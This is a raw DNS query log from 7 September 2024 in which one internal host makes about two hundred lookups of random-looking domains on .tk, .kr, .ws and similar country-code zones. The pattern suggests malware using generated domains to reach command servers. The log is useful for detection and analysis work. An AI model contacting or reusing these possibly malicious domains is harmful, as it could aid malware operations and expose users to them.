Sep 7, 2024 15:35:27.820414066 CEST	192.168.2.3	1.1.1.1	0xc052	Standard query (0)	yxnavcmgurrhw.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:28.137304068 CEST	192.168.2.3	1.1.1.1	0x67fe	Standard query (0)	yxnavcmgurrhw.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:28.268042088 CEST	192.168.2.3	1.1.1.1	0xde9	Standard query (0)	esdryukcayyoq.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:29.445657969 CEST	192.168.2.3	1.1.1.1	0xc23a	Standard query (0)	uwkmq.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:29.500750065 CEST	192.168.2.3	1.1.1.1	0x64c3	Standard query (0)	uwkmq.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:29.618861914 CEST	192.168.2.3	1.1.1.1	0x44e6	Standard query (0)	uwygduzzqaosv.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:29.719528913 CEST	192.168.2.3	1.1.1.1	0x9748	Standard query (0)	uwygduzzqaosv.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:30.664086103 CEST	192.168.2.3	1.1.1.1	0xa201	Standard query (0)	igdqs.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:31.077133894 CEST	192.168.2.3	1.1.1.1	0xb118	Standard query (0)	igdqs.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:31.351939917 CEST	192.168.2.3	1.1.1.1	0x6613	Standard query (0)	chafwe.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:31.529047966 CEST	192.168.2.3	1.1.1.1	0xc19c	Standard query (0)	chafwe.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:31.992810965 CEST	192.168.2.3	1.1.1.1	0x87b8	Standard query (0)	lmmeeoyzyn.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:33.149463892 CEST	192.168.2.3	1.1.1.1	0x883a	Standard query (0)	bgneigegyqofu.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:33.426098108 CEST	192.168.2.3	1.1.1.1	0x2edc	Standard query (0)	bgneigegyqofu.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:33.699814081 CEST	192.168.2.3	1.1.1.1	0xc2e4	Standard query (0)	arpjmckwt.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:33.715578079 CEST	192.168.2.3	1.1.1.1	0x6f49	Standard query (0)	arpjmckwt.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:33.867356062 CEST	192.168.2.3	1.1.1.1	0x425b	Standard query (0)	okocqpi.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:34.034084082 CEST	192.168.2.3	1.1.1.1	0x4c57	Standard query (0)	okocqpi.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:34.320641994 CEST	192.168.2.3	1.1.1.1	0xf9e2	Standard query (0)	qqemsidggcmy.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:34.662909031 CEST	192.168.2.3	1.1.1.1	0x4cfd	Standard query (0)	qqemsidggcmy.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:34.945815086 CEST	192.168.2.3	1.1.1.1	0xd3d4	Standard query (0)	kvdvmc.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:34.983177900 CEST	192.168.2.3	1.1.1.1	0x5f60	Standard query (0)	kvdvmc.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:35.129496098 CEST	192.168.2.3	1.1.1.1	0x75ee	Standard query (0)	czcceggoa.ph	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:36.289119005 CEST	192.168.2.3	1.1.1.1	0xeba7	Standard query (0)	eimef.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:36.301255941 CEST	192.168.2.3	1.1.1.1	0xa3f5	Standard query (0)	eimef.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:36.414067984 CEST	192.168.2.3	1.1.1.1	0x82c7	Standard query (0)	ovonq.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:36.611274958 CEST	192.168.2.3	1.1.1.1	0xfbf9	Standard query (0)	ovonq.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:36.930227995 CEST	192.168.2.3	1.1.1.1	0xe706	Standard query (0)	zitfawcgy.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:37.197684050 CEST	192.168.2.3	1.1.1.1	0x9641	Standard query (0)	zitfawcgy.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:37.351958036 CEST	192.168.2.3	1.1.1.1	0xcdee	Standard query (0)	yiqqmjekm.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:37.522866011 CEST	192.168.2.3	1.1.1.1	0xcb40	Standard query (0)	yiqqmjekm.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:37.805058956 CEST	192.168.2.3	1.1.1.1	0xeef2	Standard query (0)	quzgmnyiqyqoez.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:37.820467949 CEST	192.168.2.3	1.1.1.1	0xa275	Standard query (0)	quzgmnyiqyqoez.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:37.945399046 CEST	192.168.2.3	1.1.1.1	0xe849	Standard query (0)	iceqeuhpebkqmj.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:38.223679066 CEST	192.168.2.3	1.1.1.1	0x600c	Standard query (0)	iceqeuhpebkqmj.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:38.339636087 CEST	192.168.2.3	1.1.1.1	0x48ba	Standard query (0)	iefcm.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:38.512177944 CEST	192.168.2.3	1.1.1.1	0xf4b5	Standard query (0)	iefcm.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:38.867820024 CEST	192.168.2.3	1.1.1.1	0x3c2f	Standard query (0)	wuduqoeivyo.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:39.150928974 CEST	192.168.2.3	1.1.1.1	0x9f6c	Standard query (0)	wuduqoeivyo.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:39.274502993 CEST	192.168.2.3	1.1.1.1	0xc97	Standard query (0)	wheasiwvsew.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:39.286974907 CEST	192.168.2.3	1.1.1.1	0xf448	Standard query (0)	wheasiwvsew.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:39.414134026 CEST	192.168.2.3	1.1.1.1	0x6e95	Standard query (0)	cbgokbq.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:40.572505951 CEST	192.168.2.3	1.1.1.1	0xf554	Standard query (0)	ysbgwpqywiujo.ph	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:40.780230045 CEST	192.168.2.3	1.1.1.1	0xe78f	Standard query (0)	ysbgwpqywiujo.ph	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:42.445400953 CEST	192.168.2.3	1.1.1.1	0x8be0	Standard query (0)	lconagoqitcc.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:43.633022070 CEST	192.168.2.3	1.1.1.1	0xca7b	Standard query (0)	uryaqqyx.cg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:43.668987989 CEST	192.168.2.3	1.1.1.1	0x43f3	Standard query (0)	uryaqqyx.cg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:43.820580006 CEST	192.168.2.3	1.1.1.1	0x1723	Standard query (0)	mdabyu.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:43.989660978 CEST	192.168.2.3	1.1.1.1	0xf0e0	Standard query (0)	mdabyu.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:44.257972956 CEST	192.168.2.3	1.1.1.1	0xe2bc	Standard query (0)	zhvaaoijau.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:45.429932117 CEST	192.168.2.3	1.1.1.1	0x999a	Standard query (0)	fyumrag.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:46.617607117 CEST	192.168.2.3	1.1.1.1	0x644c	Standard query (0)	qodpaim.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:46.645337105 CEST	192.168.2.3	1.1.1.1	0x7825	Standard query (0)	qodpaim.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:46.775021076 CEST	192.168.2.3	1.1.1.1	0xffc9	Standard query (0)	umoezuoxkf.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:46.799592018 CEST	192.168.2.3	1.1.1.1	0xb9b9	Standard query (0)	umoezuoxkf.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:46.914047003 CEST	192.168.2.3	1.1.1.1	0x4545	Standard query (0)	oxcua.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:47.020447016 CEST	192.168.2.3	1.1.1.1	0x70ea	Standard query (0)	oxcua.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:47.227046013 CEST	192.168.2.3	1.1.1.1	0x55e1	Standard query (0)	atewnko.ph	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:48.382961035 CEST	192.168.2.3	1.1.1.1	0xd4b6	Standard query (0)	audewc.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:48.626132011 CEST	192.168.2.3	1.1.1.1	0x750c	Standard query (0)	audewc.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:48.836153030 CEST	192.168.2.3	1.1.1.1	0x2a98	Standard query (0)	byamehgekaeek.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:50.025911093 CEST	192.168.2.3	1.1.1.1	0x7124	Standard query (0)	iyeyuemksorve.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:50.038750887 CEST	192.168.2.3	1.1.1.1	0x6065	Standard query (0)	iyeyuemksorve.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:50.179822922 CEST	192.168.2.3	1.1.1.1	0x41ca	Standard query (0)	rujygesrs.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:50.438278913 CEST	192.168.2.3	1.1.1.1	0x2cec	Standard query (0)	rujygesrs.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:50.726646900 CEST	192.168.2.3	1.1.1.1	0x2338	Standard query (0)	dcqir.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:51.867315054 CEST	192.168.2.3	1.1.1.1	0xcd25	Standard query (0)	csyqosocetow.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:53.043881893 CEST	192.168.2.3	1.1.1.1	0x494f	Standard query (0)	qdukhasgmus.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:53.208311081 CEST	192.168.2.3	1.1.1.1	0xab4e	Standard query (0)	qdukhasgmus.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:53.493738890 CEST	192.168.2.3	1.1.1.1	0x9dce	Standard query (0)	tsmmqmmwg.ph	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:54.648479939 CEST	192.168.2.3	1.1.1.1	0x95b6	Standard query (0)	uvomuyoigeqh.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:55.848315954 CEST	192.168.2.3	1.1.1.1	0x356a	Standard query (0)	olmoutsceagaml.ph	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:57.008577108 CEST	192.168.2.3	1.1.1.1	0xe6bb	Standard query (0)	wfnsamu.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:57.047579050 CEST	192.168.2.3	1.1.1.1	0x116f	Standard query (0)	wfnsamu.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:57.710973024 CEST	192.168.2.3	1.1.1.1	0x2663	Standard query (0)	dqeqoagqqqrc.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:57.983464956 CEST	192.168.2.3	1.1.1.1	0xa6f1	Standard query (0)	dqeqoagqqqrc.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:58.102330923 CEST	192.168.2.3	1.1.1.1	0xb917	Standard query (0)	gmbcqqwly.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:58.145950079 CEST	192.168.2.3	1.1.1.1	0x80d6	Standard query (0)	gmbcqqwly.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:58.289315939 CEST	192.168.2.3	1.1.1.1	0xd8f6	Standard query (0)	cjzhc.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:58.620234013 CEST	192.168.2.3	1.1.1.1	0x639a	Standard query (0)	cjzhc.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:58.820367098 CEST	192.168.2.3	1.1.1.1	0x11ad	Standard query (0)	akpzumsigtkmmw.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:58.940479994 CEST	192.168.2.3	1.1.1.1	0xb70a	Standard query (0)	akpzumsigtkmmw.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:59.156193972 CEST	192.168.2.3	1.1.1.1	0x89b5	Standard query (0)	yfcalywej.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:59.179469109 CEST	192.168.2.3	1.1.1.1	0xbe88	Standard query (0)	yfcalywej.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:59.305208921 CEST	192.168.2.3	1.1.1.1	0x7546	Standard query (0)	vmklwkrpmmi.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:00.447664976 CEST	192.168.2.3	1.1.1.1	0x6268	Standard query (0)	cgengcwnm.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:00.460072994 CEST	192.168.2.3	1.1.1.1	0xdb45	Standard query (0)	cgengcwnm.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:00.593369007 CEST	192.168.2.3	1.1.1.1	0x9c71	Standard query (0)	yiodscs.ph	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:01.757884026 CEST	192.168.2.3	1.1.1.1	0x170d	Standard query (0)	wrzeolo.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:02.868223906 CEST	192.168.2.3	1.1.1.1	0xcb0d	Standard query (0)	blqcoo.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:02.926899910 CEST	192.168.2.3	1.1.1.1	0x49fa	Standard query (0)	blqcoo.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:03.555000067 CEST	192.168.2.3	1.1.1.1	0x8add	Standard query (0)	epjgqyk.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:04.695472002 CEST	192.168.2.3	1.1.1.1	0x7373	Standard query (0)	eymkhoeguh.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:05.000391006 CEST	192.168.2.3	1.1.1.1	0xe605	Standard query (0)	eymkhoeguh.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:05.278096914 CEST	192.168.2.3	1.1.1.1	0x8445	Standard query (0)	gmxmotaygsg.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:05.309155941 CEST	192.168.2.3	1.1.1.1	0x3309	Standard query (0)	gmxmotaygsg.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:05.445636988 CEST	192.168.2.3	1.1.1.1	0xe162	Standard query (0)	neupqnkgba.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:06.633888006 CEST	192.168.2.3	1.1.1.1	0x658c	Standard query (0)	zuvblymqiom.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:07.805453062 CEST	192.168.2.3	1.1.1.1	0x75c0	Standard query (0)	wegkycraooigi.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:09.007811069 CEST	192.168.2.3	1.1.1.1	0xc07b	Standard query (0)	ahieeic.cg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:09.158268929 CEST	192.168.2.3	1.1.1.1	0x8fcb	Standard query (0)	ahieeic.cg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:09.321166992 CEST	192.168.2.3	1.1.1.1	0x4ea3	Standard query (0)	owwvasibxygwtk.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:10.494934082 CEST	192.168.2.3	1.1.1.1	0xb673	Standard query (0)	uutgmfehaouhp.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:10.535121918 CEST	192.168.2.3	1.1.1.1	0xa178	Standard query (0)	uutgmfehaouhp.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:10.681853056 CEST	192.168.2.3	1.1.1.1	0x2d7d	Standard query (0)	rmydkqgvcvhez.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:10.698436022 CEST	192.168.2.3	1.1.1.1	0x8c9f	Standard query (0)	rmydkqgvcvhez.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:11.086287975 CEST	192.168.2.3	1.1.1.1	0xff5a	Standard query (0)	cywkjn.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:12.230998039 CEST	192.168.2.3	1.1.1.1	0x2186	Standard query (0)	udelwggnpcs.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:12.407605886 CEST	192.168.2.3	1.1.1.1	0xe6f2	Standard query (0)	udelwggnpcs.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:12.726788044 CEST	192.168.2.3	1.1.1.1	0x95fe	Standard query (0)	jwgkbq.ph	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:14.133491993 CEST	192.168.2.3	1.1.1.1	0xcbc4	Standard query (0)	hyuyvkcxdqtqwe.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:14.232892036 CEST	192.168.2.3	1.1.1.1	0x101a	Standard query (0)	hyuyvkcxdqtqwe.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:14.445431948 CEST	192.168.2.3	1.1.1.1	0x8620	Standard query (0)	mtvjuwi.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:14.491540909 CEST	192.168.2.3	1.1.1.1	0xc10a	Standard query (0)	mtvjuwi.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:14.883527040 CEST	192.168.2.3	1.1.1.1	0xb793	Standard query (0)	gurlwrqpctlkiu.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:16.070507050 CEST	192.168.2.3	1.1.1.1	0x2351	Standard query (0)	owayaiofn.cg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:16.262269020 CEST	192.168.2.3	1.1.1.1	0x31ea	Standard query (0)	owayaiofn.cg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:16.398752928 CEST	192.168.2.3	1.1.1.1	0x31e1	Standard query (0)	elymkl.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:16.903023958 CEST	192.168.2.3	1.1.1.1	0x8dd1	Standard query (0)	elymkl.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:17.023446083 CEST	192.168.2.3	1.1.1.1	0xf79	Standard query (0)	xrkwbwyqovesj.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:17.080830097 CEST	192.168.2.3	1.1.1.1	0x446	Standard query (0)	xrkwbwyqovesj.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:17.196029902 CEST	192.168.2.3	1.1.1.1	0x77e	Standard query (0)	jwimhacdt.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:17.413393021 CEST	192.168.2.3	1.1.1.1	0x9f3e	Standard query (0)	jwimhacdt.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:17.789166927 CEST	192.168.2.3	1.1.1.1	0x48fe	Standard query (0)	oymyeynqyqewcs.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:17.895400047 CEST	192.168.2.3	1.1.1.1	0x4380	Standard query (0)	oymyeynqyqewcs.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:18.008584023 CEST	192.168.2.3	1.1.1.1	0x1d49	Standard query (0)	qsqwieaqy.cg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:19.023586035 CEST	192.168.2.3	1.1.1.1	0x1d49	Standard query (0)	qsqwieaqy.cg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:19.152271986 CEST	192.168.2.3	1.1.1.1	0xa770	Standard query (0)	qsqwieaqy.cg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:19.476670980 CEST	192.168.2.3	1.1.1.1	0x44a1	Standard query (0)	oukpcbtqgqwoa.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:19.494604111 CEST	192.168.2.3	1.1.1.1	0x82b3	Standard query (0)	oukpcbtqgqwoa.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:19.636111975 CEST	192.168.2.3	1.1.1.1	0x5274	Standard query (0)	orhwyostw.ph	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:21.039604902 CEST	192.168.2.3	1.1.1.1	0x771a	Standard query (0)	ylmed.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:21.065498114 CEST	192.168.2.3	1.1.1.1	0xb411	Standard query (0)	ylmed.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:21.352288008 CEST	192.168.2.3	1.1.1.1	0xf128	Standard query (0)	pdrwqa.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:21.450246096 CEST	192.168.2.3	1.1.1.1	0x5e5c	Standard query (0)	pdrwqa.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:21.571729898 CEST	192.168.2.3	1.1.1.1	0xf9f0	Standard query (0)	wiwip.ph	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:22.914643049 CEST	192.168.2.3	1.1.1.1	0x47b1	Standard query (0)	iware.ph	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:24.196301937 CEST	192.168.2.3	1.1.1.1	0x8989	Standard query (0)	ivoskdmxlinnf.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:25.414022923 CEST	192.168.2.3	1.1.1.1	0xa910	Standard query (0)	sgfpiiwog.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:25.584709883 CEST	192.168.2.3	1.1.1.1	0x5b62	Standard query (0)	sgfpiiwog.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:25.695305109 CEST	192.168.2.3	1.1.1.1	0xa059	Standard query (0)	mcesyrpjcoxcu.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:25.872306108 CEST	192.168.2.3	1.1.1.1	0x706	Standard query (0)	mcesyrpjcoxcu.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:26.649025917 CEST	192.168.2.3	1.1.1.1	0xc1d7	Standard query (0)	qatewn.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:27.821050882 CEST	192.168.2.3	1.1.1.1	0xf53a	Standard query (0)	mnaudewcuibyam.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:27.999654055 CEST	192.168.2.3	1.1.1.1	0x9a44	Standard query (0)	mnaudewcuibyam.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:28.273469925 CEST	192.168.2.3	1.1.1.1	0xc392	Standard query (0)	gekaeekv.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:28.287149906 CEST	192.168.2.3	1.1.1.1	0xe8f7	Standard query (0)	gekaeekv.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:28.436321020 CEST	192.168.2.3	1.1.1.1	0x445e	Standard query (0)	iyeyuemksorve.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:28.472685099 CEST	192.168.2.3	1.1.1.1	0x7952	Standard query (0)	iyeyuemksorve.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:28.586000919 CEST	192.168.2.3	1.1.1.1	0xf87e	Standard query (0)	rujygesrs.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:28.839584112 CEST	192.168.2.3	1.1.1.1	0xc8f9	Standard query (0)	rujygesrs.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:31.414283037 CEST	192.168.2.3	1.1.1.1	0x4819	Standard query (0)	qdukhasgmus.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:31.664414883 CEST	192.168.2.3	1.1.1.1	0x22c8	Standard query (0)	qdukhasgmus.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:35.414434910 CEST	192.168.2.3	1.1.1.1	0xedbf	Standard query (0)	wfnsamu.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:35.464359045 CEST	192.168.2.3	1.1.1.1	0x1cfa	Standard query (0)	wfnsamu.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:35.605747938 CEST	192.168.2.3	1.1.1.1	0xcb75	Standard query (0)	dqeqoagqqqrc.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:35.630852938 CEST	192.168.2.3	1.1.1.1	0x7200	Standard query (0)	dqeqoagqqqrc.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:35.774154902 CEST	192.168.2.3	1.1.1.1	0xcda7	Standard query (0)	gmbcqqwly.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:35.812989950 CEST	192.168.2.3	1.1.1.1	0xaf85	Standard query (0)	gmbcqqwly.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:35.992866039 CEST	192.168.2.3	1.1.1.1	0x5b6c	Standard query (0)	cjzhc.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:36.328994989 CEST	192.168.2.3	1.1.1.1	0x8ad8	Standard query (0)	cjzhc.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:36.683712959 CEST	192.168.2.3	1.1.1.1	0xbc4f	Standard query (0)	akpzumsigtkmmw.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:36.927957058 CEST	192.168.2.3	1.1.1.1	0xddca	Standard query (0)	akpzumsigtkmmw.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:37.132939100 CEST	192.168.2.3	1.1.1.1	0x944c	Standard query (0)	yfcalywej.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:37.152225018 CEST	192.168.2.3	1.1.1.1	0x46f1	Standard query (0)	yfcalywej.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:38.697143078 CEST	192.168.2.3	1.1.1.1	0x6b85	Standard query (0)	cgengcwnm.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:38.712131977 CEST	192.168.2.3	1.1.1.1	0x72	Standard query (0)	cgengcwnm.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:41.110927105 CEST	192.168.2.3	1.1.1.1	0xa583	Standard query (0)	blqcoo.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:41.302042961 CEST	192.168.2.3	1.1.1.1	0x8694	Standard query (0)	blqcoo.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:42.742140055 CEST	192.168.2.3	1.1.1.1	0x4179	Standard query (0)	eymkhoeguh.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:42.946495056 CEST	192.168.2.3	1.1.1.1	0xd625	Standard query (0)	eymkhoeguh.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:43.274055004 CEST	192.168.2.3	1.1.1.1	0x9310	Standard query (0)	gmxmotaygsg.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:43.443371058 CEST	192.168.2.3	1.1.1.1	0xbc35	Standard query (0)	gmxmotaygsg.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:47.332034111 CEST	192.168.2.3	1.1.1.1	0x2414	Standard query (0)	ahieeic.cg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:47.421062946 CEST	192.168.2.3	1.1.1.1	0x6f97	Standard query (0)	ahieeic.cg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:48.680969954 CEST	192.168.2.3	1.1.1.1	0xdd2e	Standard query (0)	uutgmfehaouhp.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:48.945554018 CEST	192.168.2.3	1.1.1.1	0xdd2e	Standard query (0)	uutgmfehaouhp.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:48.983617067 CEST	192.168.2.3	1.1.1.1	0xb75f	Standard query (0)	uutgmfehaouhp.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:49.101531982 CEST	192.168.2.3	1.1.1.1	0x45fd	Standard query (0)	rmydkqgvcvhez.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:49.364784002 CEST	192.168.2.3	1.1.1.1	0x45fd	Standard query (0)	rmydkqgvcvhez.kr	A (IP address)	IN (0x0001)	false
